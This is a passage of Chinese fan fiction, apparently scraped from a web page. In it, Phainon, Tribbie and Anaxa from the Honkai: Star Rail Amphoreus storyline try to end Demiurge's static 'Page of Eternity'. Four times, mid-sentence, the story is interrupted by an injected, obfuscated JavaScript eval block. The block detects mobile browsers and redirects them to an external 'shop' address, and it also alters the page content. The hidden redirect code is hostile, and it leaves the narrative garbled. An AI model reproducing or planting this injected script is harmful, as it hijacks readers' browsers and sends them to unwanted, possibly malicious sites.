门径的泰坦是逐火的起源,雅努萨波利斯的圣女将自己裂成千片,行于大地,传播神谕,而后被一个一个的残忍杀害,但似乎在翁法罗斯升格之后,她终于不必忍受如此苦楚,此时她神神秘秘地挥了挥手,白厄便乖乖地凑了过去。 他以为缇里西庇俄丝有要事相告,没想到下一刻,她摸了摸他的头发,又捏了捏他的脸,捏的他的脸有点变形。 “真好,”她满意地露出微笑,“就算只是演算结果,可看上去即使没回家,小白也有在好好吃饭。” “缇里西庇俄丝老师?”白厄有些迟疑。 “还是像之前一样,叫我缇宝老师就好,或者缇安老师,缇宁老师,实际上哪个都是我。”缇里西庇俄丝不以为意,“缇里西庇俄丝这个名字对小白来说是不是太长了?” 白厄尴尬地咳了一声。名字倒是不长,可他真的好奇自己在敬爱的老师心里究竟是何形象,他只是历史不好,并不是记忆力差。 “我们还是进去说吧,小白。”缇里西庇俄丝又说,“这里不太方便谈事情。” 一边说着,她一边转身走去,白厄随手接过了老师手里的“神谕扭蛋机”,跟在了她的身后。 “所以,小白是怎么来到这里的?” 四周终于静寂下来,缇里西庇俄丝和白厄找了个地方坐了下来,她望着白厄,问出了第一个问题。 “说来话长,简单来说,因为某种原因,我现在是货运舰的护卫。我们的货运舰本来打算来琴神星送货,途经这里时,我便被卷了进来……现在还不知道货运舰上的其他人怎么样,老师,您刚刚说我是个演算结果?您知道这里究竟是什么地方吗?” “只是途经就被卷了进来?”缇里西庇俄丝沉吟,“已经扩散到这种程度了吗?” “扩散?”白厄奇怪道。 “是,”缇里西庇俄丝说,“实际上现在琴神星变成这样,究其原因,可以追溯到一页永恒……小白还记得吗?最初的最初,我们都在那里,被爱的质料填充成了充满爱的模样。” “我记不太清了,”白厄坦诚道,“我的记忆里有大片的空白。” 缇里西庇俄丝愣了一下,她看着白厄的眼睛,脸上突然浮现真切的难过。 “小白……” “没关系,”见她这样,白厄反而轻松地安慰道,“那些曾经忘却的回忆所留下的空白总有一天会被新的回忆填满,所以如果现在实在没法找回,也没关系……我们还是先谈谈这里吧,老师。” “嗯,好。”缇里西庇俄丝只是短暂失神,但她知道现在最重要的事是讲清情况。于是她不在这个话题上更多纠结,重新振作又起来,“那就让我用简单一点的方式来说明情况吧。” 白厄点了点头,缇里西庇俄丝便开始诉说——如同她之前的每一次授课。 “铁墓大战结束后,翁法罗斯本体成为了一颗正在诞生的,可观测的星体,而作为数据的我们有一部分进入了德谬歌所创建的一页永恒中暂时生存,一页永恒很好,但它没有新生,也不会有死亡,万事万物是静止的存在,而那时我们并未发现那里的不对,或者说,我们被满溢的爱填满,无暇思考其他反常的地方。” “所谓的爱就是这样,它有时包容一切,有时又会盲目我们的视听,一页永恒的爱是静止的、孤立的爱,我们在其中是不会变化的人,就连我在那里,也仍然是碎成一千片的模样。” “可是缇里西庇俄丝老师,”白厄举手发问,在得到老师的点头准许后,他继续问道,“老师碎成一千片的模样难道不是因为门径之泰坦的神权与黄金裔的缺陷?在一页永恒后,老师不应该化为现在的模样吗?” 闻言,缇里西庇俄丝苦笑了一声。 “起先我也不知道,就像我不知道在那处永恒的净土与乐园中,阿那克萨戈拉斯教授为何还带着他的眼罩,波吕茜亚又为何仍然坐在轮椅上——正常来讲,一页永恒既然是无暇的存在,铁墓又已经死去,其间之人应当无缺陷地活在其中,为何我们仍然或多或少带着些显而易见的缺憾?而为何那时的我们从未察觉问题的存在?” “……因为那里是德谬歌所创建的?”白厄猜测道。 “没错,小白还是这么聪明,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119718|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缇里西庇俄丝鼓励道,“因为一页永恒是爱的质料混合了德谬歌对我们的记忆,所以我们的数据在来到一页永恒后停留在她所记忆的模样下,而她的记忆来源,恐怕并非翁法罗斯几千万世的轮回——或者说,她并非轮回的亲历者。一页永恒压制了我们的负面情绪,也用爱潜移默化地改变着我们。一切产生转机,是在开拓者拿着金血来到一页永恒的时候。” “搭档吗?好像不奇怪。”白厄说,“那时发生什么事了?” “那枚金血,把一页永恒,烧出了一个洞。”缇里西庇俄丝说,似乎想起什么很有趣的事情,她抿唇微笑起来,“我还记得小白你呀,那时候前一秒还在和开拓者信心满满地说‘我已经没有痛苦的理由了,我的人生应该揭开新的一页’,后一秒就相当警惕地问开拓者这里是哪,把人家开拓者吓了一跳。” “我居然还对搭档做过这么失礼的事情吗?”白厄叹气,“有机会一定要和他道个歉才好。” “是呀,确实应该道歉的,等到这里的事情解决了,我一定会叫开拓者他们再来翁法罗斯转转。”缇里西庇俄丝认真地点了点头,又转回了话题,“所以那时候,一页永恒的爱的质料开始外泄,我们本应该有的负面情绪回到了我们身上,好在那时的影响范围不太大,刚刚醒来的我们都来帮忙控制情况,这才没让整个一页永恒被彻底毁掉——如果那时一下子毁掉那里的话,情况会变得更混乱。” 充满爱的质料的一页永恒被毁灭的金血烧出一个洞,这听上去实在是有点令人啼笑皆非,但白厄更好奇那时候究竟发生了什么,这里又和一页永恒有什么关系。 “刚刚醒来的时候,我们也短暂地迷茫了一瞬,对于那时的我们来说,到底是完全静止的幸福更好一点,还是去面对未知的外界更好一点呢?但我们迷茫的时间都很短,意志也很快统一,对于我们来说,过去就是过去,无论是痛苦的、悲伤的,还是欢乐的、轻松的,那都是我们真真切切走过的路,是我们自己书写和铭刻的痕迹,是属于我们的故事。” “所以小白,那个时候,我们的决定是,带着想要离开这里的人,一起离开一页永恒。” 58. 为什么? “也就在那时,我们第一次见到了一页永恒的所有者,德谬歌。可她那时看上去很难过。” “她为什么难过?”白厄问道,“是因为我们不小心破坏了一页永恒吗?” “是,也不是。”缇里西庇俄丝说,“她不能理解我们的决定。她觉得大家都无忧无虑地生活在一页永恒中,应该是我们最好的结局,可一页永恒有一部分力量来源是记忆,记忆曾是最公正的命途,它不应偏私,不应偏爱……若是在记忆中加上了其他的东西,即使那是爱,记忆也会产生偏差。” “到那时,我们会不会变成连我们自己都认不出的样子,小白?如果不是那场开拓者带来的意外,我们还要在这虚假的幻梦、永恒的乐园中沉溺多久?到那个时候,如果我们的记忆潜移默化地被爱的质料悄无声息地改变,即使有一天真的升格,升格之后的我们还是我们吗,我们所一直期待的再创世已经成功,我们可以坦然死去,但不能以连我们都认不出的方式存活于世。” “那时,问出这个问题的是你。你问,一页永恒究竟会将翁法罗斯带向何方,德谬歌回答说,一页永恒将把大家带往爱的方向。” “然后呢?”白厄问。 “你说她所谓的爱不过是自私的一意孤行,她的所行所为和翁法罗斯曾经傲慢的造物主并无差别,只不过一个是倒果为因强行要推导生命第一因是毁灭的疯子,一个是以爱之名结茧绞杀所有人的劣质复制品。” 白厄:“……” “我骂得这么狠?”他不可置信地问。 “不止这样,当时德谬歌没有生气,她似乎只是有些迷茫,于是她说想要重启公民大会,想要以最公正的方式决出你们之间的胜负,阿那克萨戈拉斯教授曾说想要代你辩论,但德谬歌指定了你。” “她说,你是翁法罗斯三千万世熊熊不息的恨意,而恨是不应该压倒爱的,就像正义总会战胜邪恶,但你说,爱不是所谓正义,恨也从不是邪恶。爱与恨从来不是对立的,也不是两条相反的道路,它们终将汇于一点……总之,辩论的结果是你赢了,翁法罗斯的大多数人都希望生活在真实的世界中,至少大家不希望变得不像自己。也有人选择留在一页永恒里。德谬歌同意慢慢拿回一页永恒中被她填充的爱的质料,而后将一页永恒中的数据交还。但这时又有了新的问题产生——外面曾属于翁法罗斯的循环出现了问题,也在这时我们才知道,我们能见到德谬歌,是因为她选择脱离循环,将属于她的那一半能量供给给一页永恒——而这也就意味着,如果不能及时升格,外部正在循环的翁法罗斯便会导向毁灭——因为能源不足,也因为一切会归于熵增,这是最初就设定好的结局,铁墓的死去不会改变这个节点。” “于是那时,摆在我们面前的变成了两个选择——要么升格,要么消失。” “等等,”白厄疑惑,“听上去一页永恒中的我们,和循环里的我们,并非同一个个体。” “是的,”缇里西庇俄丝说,“正如我之前所说,一页永恒是我们的数据加上了德谬歌的爱的质料,循环是为了锚定铁墓已经死去的事实开启的又一次轮回,但因为金血烧毁了一页永恒,循环又出现了问题,所以“我们”在某个时间成功地合二为一,而后时间向前线性行走,翁法罗斯在三年前尝试升格……” 白厄注意到缇里西庇俄丝用的是“尝试”,这让他有了点不祥的预感。 “您刚刚说的是尝试,也就是说,升格没有完全成功吗?” “是的。”缇里西庇俄丝坦诚道,“缺失的部分数据仍在一页永恒中,德谬歌并未完全交还。那里还有她留下的一部分我们的残余数据,足够她开展合适的演算和推理。缺失这些数据,翁法罗斯就不算“圆满”,也不可能真正意义上的升格––除非我们绕过这些数据,但三年前发生的事,一方面让我们暂时升格成功,另一方面也让取回那些数据变得刻不容缓,所以我来到这里,就是为了解决这个问题,而德谬歌来到这里,同样是为了解决这个问题。” “她想证明一页永恒,这以爱为名的世界,是发展的最好形态——换句话说,她想升格一页永恒。” “那现在的翁法罗斯……”白厄心中一紧,只听得缇里西庇俄丝声音轻缓地答道。 “小白忘记了,可是我们没有。现在的暂时升格的翁法罗斯,是借助小白燃烧自己的力量暂时接入真实世界的星球呀……但如果要让它真正升格,我们总要想办法解决一页永恒的问题的。所以我之前就已经来到这里,极力控制着这种扩散,它现在也只聚集在这一片地方,还没有彻底扩散到琴神星的其他地方,即使被卷进来的人,估计现在也只是睡一觉的事。你能进来有可能是因为你对这里的相性比较好——一页永恒毕竟搭载和记录过你的数据,但也有可能说明这种扩散已经开始,也许很快就会威胁到琴神星本体了。” “……大家难道都有个建成完美乐园的梦吗?”白厄沉默了一会儿。 在他现在看来,选择一页永恒,这选择不能说是错的,但他清楚地知道,这世界从不存在什么完美的乐园,他和星穹列车的同伴聊天的时候,有时那位名为星期日的无名客偶尔会提及乐园与幻梦––虽然他从不会更多说什么。 “我曾认为血肉苦弱,能够建立美梦乐园的,只有以强制弱的秩序,我也曾想将众生的幸福归于唯一的秩序之下……但其实所有人都该有选择自己命运的权利,也许对于有些人来说痛苦的真实好过完美的幻梦,而没有任何人有资格剥夺他们选择自己命运的权力……当然,这些都是我登上列车后的所见所感,一家之言罢了。” “但这和现在的琴神星有什么关系?”白厄又问。 “起先还好,德谬歌只是希望选择了一页永恒的大家能在那里安静、幸福地度过之后的生活,但坏就坏在琴神星的人们同样祈愿永恒的幸福,而德谬歌……不,是权杖,与这份祈愿共鸣,回应了他们的期待。” “她迫切地想要证明,永恒而静止的幸福是人类通向爱的唯一道路,她爱翁法罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119719|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯,她爱一页永恒,她也愿意将这份爱分享给琴神星的大家,她希望所有人都能在乐园中幸福、快乐、自由自在地活下去……所以,正如我刚刚所言,她在尝试着用爱的质料和记忆的力量,以一页永恒为载体,同化琴神星。” “所以外面的那个‘我’……?” “没错。”缇里西庇俄丝说,“是你在一页永恒中的残余数据,那个幸福、快乐、不会感到痛苦、记不清大多数往事的,纯白的你。” “而德谬歌又将选择的权利交给了你。” “什么意思?”白厄有些摸不着头脑。 “我曾经用某些手段找到过她的某个投影,她说她认为烬灭金血烧毁一页永恒只是意外,而她想知道,在没有任何外部条件干扰的情况下,纵然是翁法罗斯三千万世熊熊燃烧的怒火,当他回归纯白的与幸福之后,还会主动选择回到痛苦的现实中吗?” “也就是说,外面的那个‘我’,操纵了一部分属于一页永恒的权限,而这权限来自这里的最高权限者,德谬歌,对吗?” “是的,小白,她将暂时关闭一页永恒的权限交给了你,而只有暂时关闭一页永恒,同化才能暂时停止,我们才能见到她,琴神星异变后,我就来到了这里,借助门径的力量,我找到了它……借助于它,有些来自其他位面的存在也许能为我们指明道路,或者出个主意,在你来之前,我已经抽到了第一个扭蛋,很遗憾,其上什么都没有写,只有一片空白。” “也许并不是每个神谕都会有字。”白厄安慰道,“那现在的重点,就是找到我并劝说我,让我选择主动地暂时关闭一页永恒,对吗?” “是的,小白,虽然不止这一个办法,但是这种方法比较快。”缇里西庇俄丝说,“在你来之前我尝试过几次,但你的态度很坚决,你从来都是个执着的孩子,而且如果让‘你’发现不对,情况可能会更复杂。” 强拆是不可能强拆的,别说一页永恒中存在着属于他们自己的一部分数据,丢失之后不知道究竟会造成什么结果,单说还有一部分翁法罗斯人自愿地选择留在一页永恒中,白厄就绝不可能对这里动手,现在看来,德谬歌既然选择给出权限,又将选择权交给了这里的“白厄”,她也许并无恶意,相较之下,倒是似乎很……迷茫。 自己的执拗他再了解不过,白厄发愁地叹了口气,正在这时,那所谓的“神谕扭蛋机”亮了一亮,掉下了一颗新的扭蛋。 【第5次演算开始。】 【归因:生命第一因。】 【结论:幸福。】 【结论错误。】 人家爱开拓者呀?? 人家,爱,开拓者。 人家,爱,桃子。 人家爱桃子。 希望桃子,幸福。 希望大家,幸福。 人家爱桃子,人家爱大家。 桃子说这样不对,所以…… 所以是错误的。 为什么? 59. 我骗我自己 白厄拿过那个所谓的“扭蛋”,好奇地扭了一下,一张纸条轻飘飘地滑了出来。 “这是什么?”他好奇道,“我看看……‘丰饶是一条不该存在于一页永恒的命途?’” “如果这样说起来,似乎的确如此。”缇里西庇俄丝沉思,“似乎在翁法罗斯的演算中,从不存在丰饶命途。” “是不是因为我身上的毁灭气息被遮掩住,反而一身丰饶气息,所以这里才会把我的数据演算进来?”白厄说,“不然把权限交给我,又让最了解我自己的我来到琴神星,实在不合逻辑。” “如果是丰饶的话,”缇里西庇俄丝也皱眉思考,“也许是因为对于她的计划有益,或者也有一种可能,她也在迷茫。” “她把权限交给了你,也许证明她也期待着你的答案。”缇里西庇俄丝安慰道,“说不定你出去劝一劝,小白就会关掉一页永恒呢。” “我觉得我自己卡我自己轮回的可能性更大一点。”白厄苦笑。 “不会的,”缇里西庇俄丝安慰道,“就算是纯白的小白也是小白呀,你们一定会做出同样的选择的。” “……我不确定。”他罕见地迟疑了。 真的不确定,他踏上永劫轮回时一定会充满决心,这没问题,这已经被种种事实证明过,但时间线如果再往前推一推,他还是在哀丽秘榭的麦田里无忧无虑地奔跑的孩子的时候,当有人告诉他“你所生存的世界只是个谎言,而如果要让真实的世界升格成功,你就必须为你所在的这个世界按下暂停键。” ……他多半会拿着把小木剑直接砍上去。 从客观的角度来说,德缪歌选了个很合适的人选,如果是那刻夏老师,也许不需多费唇舌,因为他所注重的便是解明世界的真理,而当一切和他所思所想完全吻合,他多半会大笑着选择按下暂停键,如果是阿格莱雅,金丝证明他们并未撒谎的前提下,她可能也会思考这个选项,即使是刻律德菈,在同意她以律法的权能设下种种禁锢并费尽口舌后,她也许也会同意。 只有他,唯有他,如果他一直生活在这样安宁、平静、幸福的环境中,他总会选择保护自己的幸福,他最初的梦想从来不是当什么救世主,而只是想做哀丽秘榭的小英雄,他从没觉得自己配得上救世主这一称谓,而如果一切真的未曾发生…… “又轴又犟。”他叹了口气。 “我会继续寻找其他出口,小白你试试看劝说你自己。”缇里西庇俄丝说,“我们分头行动。” “老师,”白厄问,“这里的通讯能用吗?” “暂时还不能,”缇里西庇俄丝说,她又宽慰道,“但我会想办法,前几天我已经解决了不少,大概四五天就能用了……当然,在此之前能解决问题是最好的。” “对了,小白,你现在是莲食学派的卡厄斯老师,没人会对你的出现感到意外……似乎在你进来的一瞬间,这些信息就已经加载成功了。”缇里西庇俄丝说,“而且这里的时光不会流动,每个人每一天都在做几乎一模一样的事情,他们接触不到外界……就像最初的翁法罗斯,只不过没有黑潮的威胁,每个人都过得很幸福。” “……德谬歌的能量能一直维持这里吗?”白厄沉默了一下,问道。 “不可以。”缇里西庇俄丝说,“如果一页永恒真的和琴神星同化成功,时间开始逐渐流转的话,伴随着时间的发展和生命的演化,仇恨和愤怒的不和谐音总会出现在这里……德谬歌不会允许‘恨’出现在一页永恒,因为这里是爱的乐园……但每次重置都需要消耗能量,当能量消耗结束,这部分数据也会自行消散,”她忧心忡忡,“这样的话,翁法罗斯可能就会变成一个无解的难题。” “好,我知道了。”白厄说,“我会去试试。” 话虽然这么说,但当他走出去,看到兴致勃勃地和人辩论的自己的时候,他还是安静地坐了下来。 他想,我能说什么呢? 面对着这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119720|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯白的自己,我能说些什么呢? 苦楚不曾在他身上留下痕迹,痛苦不曾在他身侧追逐,他只是笑着闹着,像每一个普通的学生,偶尔上课打个盹,偶尔历史交次白卷,黑潮不曾侵袭他,他甚至还能找到爸爸妈妈哭诉撒娇,他莽撞,冲动,天真,可他的天真是被包裹下的、单纯的柔软,白厄看着那个纯白的他,他就在这里,藏在麦田里,躲过了残酷的命运,躲过了风霜的侵袭,他只是静静地看着,猛然想起某一次轮回时,盗火行者也是这样看着他。 “白厄。”他叫自己的名字。 那个白厄果然走了过来。 “老师?”他彬彬有礼地问,“您叫我?” “如果我说,我们所在的世界,是一个谎言,你会怎么样?” 相同的问题,不同的问话人,他很快猜到了自己的反应,只见对面的自己皱起了眉。 “老师,缇里西庇俄丝老师也曾经说过这种话,但我仍然觉得,即使我所生活的世界是虚假的,可对于我而言,这里,就是我所想要守护的真实。” 意料之中的反应,他甚至能猜出自己的想法,他望着自己的眼睛,那双眼睛里澄澈、湛蓝、没有任何阴霾。 “是啊,”他叹了口气,“如果这里并非永远静止,如果大家都是真实的大家,而不是谁以爱为名潜移默化改变的人,一页永恒确实是个好地方。” “可你难道真的没察觉到不对?”他盯着自己追问,看到自己的表情突然迷茫。 “您指的是?” “我。”他简单地说。 丰饶命途是一条不该存在在一页永恒之中的命途,因为来古士最初的演算中不包含丰饶——当然,估计他也怕引来丰饶星神就地活化翁法罗斯,所以他的到来,一定会带来一些漏洞。 而这些漏洞,他相信自己能察觉到。 “我没有。”白厄不自然地摇摇头。 撒谎。看着自己的表情,他下意识地想。 60. 白厄是爱 他并不打算在这里和自己多费唇舌。 他相当清楚自己的性格,也知道应该留给自己思考的时间,撒谎只是嘴硬的表现,他应该已经察觉到这里情况不对,德缪歌的目的毕竟不是养出个能把整个宇宙毁灭的令使,她只是为了证明自己的正确,证明只要一个世界只要被爱环抱就能解决一切问题,德谬歌此前并没有这么偏执,所以白厄也在疑惑,她究竟为什么要迫不及待地证明爱能解决一切问题? 他决定去找另一个人。 “啊,莲食学派的卡厄斯,有何贵干?” 那刻夏不冷不热地、不咸不淡地向他打了个招呼。 “您为何如此称呼我?”白厄问他。 “因为你的本名是这个,这难道有什么疑问?你到底是怎么当上莲食学派的七贤人的?”那刻夏皱了皱眉头。 好问题,我也想知道,白厄想。 在充满爱的世界里那刻夏老师居然还是如此毒舌,白厄实在不知道该说本性难移还是该说刻板印象,他们既然一并选择了离开一页永恒,那这里的“他们”便是一部分遗留的数据加上大部分德谬歌的演算结果——也就是说,即使德谬歌认为世界应该充满爱意,她对那刻夏老师的认知仍然是“毒舌、冷淡、理性。”想到这里,即使情况紧急,他也有点哭笑不得。 “那……阿那刻萨戈拉斯教授,你再仔细思考一下,”他说,“树庭何时有过名为卡厄斯的贤人?” 历史零分也能当七贤人吗?白厄不确定地想,难道这就是爱的力量? 那刻夏果然愣了一下。 “你……”他的脸上闪过一丝迷茫,但迷茫从不会在那刻夏的脸上停留太久。下一刻,他不知从何处拿出柄匕首,深深刺进了自己的掌心,白厄躲闪不及,那刻夏金色的血便溅到了他的脸上,他抬起头,表情淡然。 “好了,说吧,你是谁?”他冷淡地说,“我早就隐约察觉到有什么东西在干扰我。” “我来帮您……”白厄慌忙道。 “不用。”那刻夏脸上嘲讽的笑意更甚,“你没发现你每用一点你所认为属于丰饶的力量,这里就会出现一点变化吗?如果你还想达成你的目的,我劝你谨慎为上。 “我说什么您都会相信吗?”白厄问道。 “我只会相信真理。”那刻夏沉声说,“我自然有我的研究成果……说吧。” 事实证明老师就是老师,推演的老师也是老师,沉浸在爱里的老师也是老师,白厄老老实实地把缇里西庇俄丝说过的话又说了一遍,收获了那刻夏一个“果然如此”的表情。 “看来我的猜想没错。”那刻夏沉吟着说,“每当我要进一步进行研究的时候,我的记忆就会出现问题,我会再次变成那个充满爱的傻瓜,周而复始,循环往复……难怪如此。” “老师……”白厄恭恭敬敬地问,“现在怎么办?” “……我是一串演算数据而你是一个人,现在你倒要来问我怎么办?白厄?你脑子被大地兽啃了?”那刻夏不可置信地问道。 白厄:“……” 不好意思,习惯了。那刻夏如果和他处在同一阵营,他会在大事上自动寻求老师的帮助——数据老师也是老师。 “我先提醒你一句。”那刻夏说,“莲食学派的卡厄斯,按照你的说法,之前推演的时候并没有丰饶命途的存在,这是为什么?” “因为十二因子已经足够,铁墓的目的是将结果导向毁灭,但丰饶……” 他突然停了下来。 “看起来你想明白了。”那刻夏说,“你所说的那位德谬歌之所以会放你进来,大概率也是因为这个理由——丰饶星神可还活着,谁知道祂会不会突发奇想瞥视点什么,丰饶星神真的瞥视到这里……说不定这里可就真的活化了。” 白厄抖了抖,不着痕迹地收起了斗篷。 “收也没用,”那刻夏说,“你既然能来到这里,说明你也是个演算结果,既然是演算结果,演算结束那刻,你的身份就已经定下来了。但德谬歌没有深度演算过丰饶,所以你可以尝试一下……定义丰饶。” “什么叫定义丰饶?”白厄问。 “因为这里未曾出现过丰饶的痕迹,所以在祂成功完成对丰饶的学习之前,你所做的所有事,都会被称之为丰饶,而后,当完成对丰饶的学习后,祂也许将把祂学习到的丰饶作用在这里,从而在内部活化这个世界。”那刻夏悠然地说。 “……” 这也行? “正常情况下当然不行,但是我既然能这样与你对话,说明祂的控制力在减弱……也许祂在做些其他的尝试,又或者…… “又或者?” “又或者祂也在迷茫于自己所选择的道路。”那刻夏说。 “相较而言,比起创造一个充满爱的完美世界,祂似乎更迷茫于自己所行的道路是否正确,现在的祂简直像是迫不及待地希望谁来肯定祂……或是完全地否定祂。所以按你所说,祂才会将选择权交给这里的你。”那刻夏说。 白厄心中突然冒出了一个想法。 如果他可以定义丰饶……定义的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119721|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果又会反作用于一页永恒。 那么,在不偏离太多的前提下。 ……他是否可以将“开拓”定义为丰饶? 很好,现在又有个新的问题。 开拓,他不算特别熟,丰饶,他根本不熟。 正这么想的时候,手中的扭蛋机像是感知到了他的想法,叮的一声,第三个扭蛋凭空出现。 “不符合能量守恒,”目睹全貌的那刻夏评价,“有趣。” 白厄小心翼翼地拿出了第三张纸条,那张纸条仿佛全程围观了他们的对话。 “开拓啊?简单,开拓就是到处乱跑!开拓探索未知,种子破土也是走向未知,开拓怎么不算一种丰饶?” 这……这对吗? “歪理邪说,但还有点道理。”那刻夏说,“现在你可以尝试着将你的行为记录于这里的丰饶之中,然后等待祂的演算结果了。 “我还是觉得这太……匪夷所思了……”白厄斟酌着说。 “没事,”那刻夏随意道,“祂估计也没想为难人。” “毕竟,对于一个静止的世界,最大的敌人,就是开拓啊。”他意味不明地笑了一声,又摆了摆手,“再见,我要回家陪姐姐去了。” “哦对了,看在你曾是我的门生的份上,免费再提醒一句。” “对于大多数人来说,爱或者恨实在是虚无缥缈的命题,相较之下,如果你想劝服谁,不如用点更符合他们想法的东西。” “比如,在一个完全静止的世界中,最缺少的新事物,大凡是人,就会有好奇心。比之爱恨,好奇心是压制不住的种子。” “老师。”白厄犹豫着在他身后发问,“现在您幸福吗?” “论理,我应当幸福。”那刻夏说,“这是指令数据。” “但正如我刚刚所言,好奇心是压不住的种子。总有些求知心会突破指令数据而存在,我想,那个走出了一页永恒的我,想必此时正遨游无边无际的知识海洋种不可自拔吧。” 说到这里,他竟难得温柔地笑了笑。 “这样想来,反而有些嫉妒,但嫉妒也不符合一页永恒的爱,所以估计我很快就会忘记。在忘记之前,我再说一句。“ ”不要犹豫,坚定你的想法。再见,白厄。“ “你一直是个很优秀的学生。” 桃子,桃子在哪? 想和,桃子在一起。 白厄是恨,是毁灭,不喜欢。 白厄是爱。 否定,白厄是恨。 否定。 61. 因为这里只有爱 开拓…… 他最了解的开拓就是星穹列车和开拓者,开拓者和他说起星穹列车上的事时总是眼神亮亮,他说每一次开拓之旅都意味着未知,而未知就意味着新的可能性。 “只要星穹列车还行驶在路上,开拓的道路就永远不会停歇,”开拓者说,“一切结束之后,小白你要不要来?” 开拓是静止的敌人,因为开拓意味着永不停歇,如果这里一直是静止的,证明德谬歌为了维持这种静止,一定付出了许多努力,但能源毕竟是有限的,所以她不可能在每一次发现变化的苗头时像重置翁法罗斯轮回一样重置这里,再结合德谬歌的能力,白厄有了个猜测。 她应该只是重置了那些不美好的、不愉快的记忆。 只有这样,才能说明为什么一页永恒仍然静谧,平和,一如既往,因为人从来不是只有爱就能活下去的生物,演算结果越接近人,被重置记忆的次数也许就会越多,而从这些人的身上,也许能找到一点突破口。 相较于之前去过的阿特拉斯和方跃星,一页永恒是个平面——确实是平面,像书页翻开的样子,他在其间行走,只觉得这里很美,但仔细看去,那些美却静滞在表面,仿佛冰冷的假花。 他再往前走了两步,看见一群缇宝老师叽叽喳喳。 “妈妈还是记不住我们的名字。” “对呀,毕竟‘我们’太多了嘛。” “可是妈妈生了一千个小孩嘛?” 几个孩子便叽叽喳喳地吵了起来。 “一千个小孩子也太多了,妈妈好辛苦。” “为什么呀?为什么呀?” “因为时光在你们的身上停滞了。”白厄说,他蹲下身来,看着面前几十个一模一样的红发孩子,饶是已经有了心理准备,他也有点头皮发麻,但他很快克服了这种感觉,“现在,我想让停滞的时空重新流动起来,你们愿意帮助我吗?” 几个孩子便懵懂地望向了他。 “啊,是莲食学派的卡厄斯先生,我认识他。”有个缇宝老师突然说,“你今天也会把种子变成植物吗?” “会。”白厄说,“而且我要说的,是更高级的种子变成植物的办法。” 他看着凑上来的孩子们,小声地说了些什么,片刻后,孩子们一哄而散,一页永恒空间不大,一千个缇宝老师足够将他的话传遍街巷角落,而且他不必担心有人会有什么异议。 毕竟,这里充满了爱,爱可是互相帮助呀。 当歌耳戈听到缇宋传来的消息的时候,她正在围着围裙温柔地给欧利庞煮汤。 “你一碗,小敌一碗,好,一会儿等你们吃完了,我打扫一下这里……什么?” 她的脸色一变,随即又恢复了正常。 “好,我会去的。”她说,“我会去参加公民大会。” 遐蝶正在推着波吕茜亚行走。 “虽然不知道为什么我的腿没有好,但能和姐姐在一起,我已经很幸福了。”波吕茜亚说。 红发的少女传来消息。 “什么?”遐蝶说,她的眼神很快也坚定下来,“我会去的。” “卡厄斯老师。”白厄说。 他站在他的面前,眼下有浓重的漆黑,似乎一晚上没怎么睡,又经历了不少挣扎。 “这个……我所存在的……我们所存在的世界,是假的,我也是假的。” “对。”白厄冷酷地说。 他知道之前有缇里西庇俄丝的基础,即使嘴上不相信,自己心中也一定已经埋下了怀疑的种子,如果第二个人——也就是他再说这件事的话,怀疑会逐渐加深,而当怀疑加深到一定程度—— 他一定会去找那刻夏求证。 现在看起来那刻夏这步已经走完了,可怜的哀丽秘榭小伙被突如其来的消息砸得晕头转向,不得不再来找他——估计也是那刻夏指的路。 “我……”他看到自己难过地低下了头。 万敌曾经问过他如果遇到小时候的自己会和他说些什么,他当时说要好好学习好好锻炼,在黑潮下一定要保护好自己的爸爸妈妈,不然只会饱尝无能为力的苦楚,他还说了很多,可当现在,当一个年少的、纯白的自己站在他面前,那样难过,那样挣扎,他就什么都不想说了。 “没关系。”他轻轻地对那个一直幸福的自己说,“如果你实在不想相信,我会去想别的办法。” 没关系的,没关系的,承担苦难的人总能承担苦难,一直幸福的人也应该一直幸福。 但那个年轻的他突然看向了他,仿佛下定了很大的决心。 